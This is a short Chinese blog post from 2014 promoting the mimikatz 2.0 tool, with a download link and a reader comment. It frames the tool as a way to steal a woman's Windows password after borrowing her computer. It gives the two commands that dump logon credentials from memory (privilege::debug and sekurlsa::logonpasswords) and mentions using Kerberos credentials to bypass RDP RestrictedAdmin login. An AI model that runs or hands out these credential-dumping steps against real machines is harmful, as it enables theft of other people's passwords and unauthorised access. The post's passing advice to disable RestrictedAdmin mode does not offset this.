Windows密码抓取神器mimikatz2.0
2014-07-10 10:15:03 -0400
Windows密码抓取神器mimikatz2.0

只要借用一下电脑,便可轻松拿到密码……“女神,借用电脑一看可否?”

大神们都知道的东西吧,渗透测试常用工具。法国一个牛B的人写的轻量级调试器,可以帮助安全测试人员抓取Windows密码。

mimikatz 最近发布了它的2.0版本,抓密码命令更加简单了,估计作者也看到了对它这个神器最多的研究就是直接抓密码,为神马不发布一个直接一键版,哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据,绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP) 的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多功能等着大家来发现

神器作者的博客http://blog.gentilkiwi.com/mimikatz
2.0版本的只需要两条命令就可以了,比以前版本的更简单了。

第一条:privilege::debug
//提升权限
第二条:sekurlsa::logonpasswords
//抓取密码

这里直接提供软件下载:

mimikatz_trunk.zip (243.44 KiB) | Decompress | Meta
«Newer      Older»

----Comments(1)----
csngmap (@csngmap) | @ at 2014-07-10 10:54:
刚才用win7试了下,确实可以,注意打开时,切换为英文输入法……
Comment:
Name:
Back to home 电脑软件 /cat/120017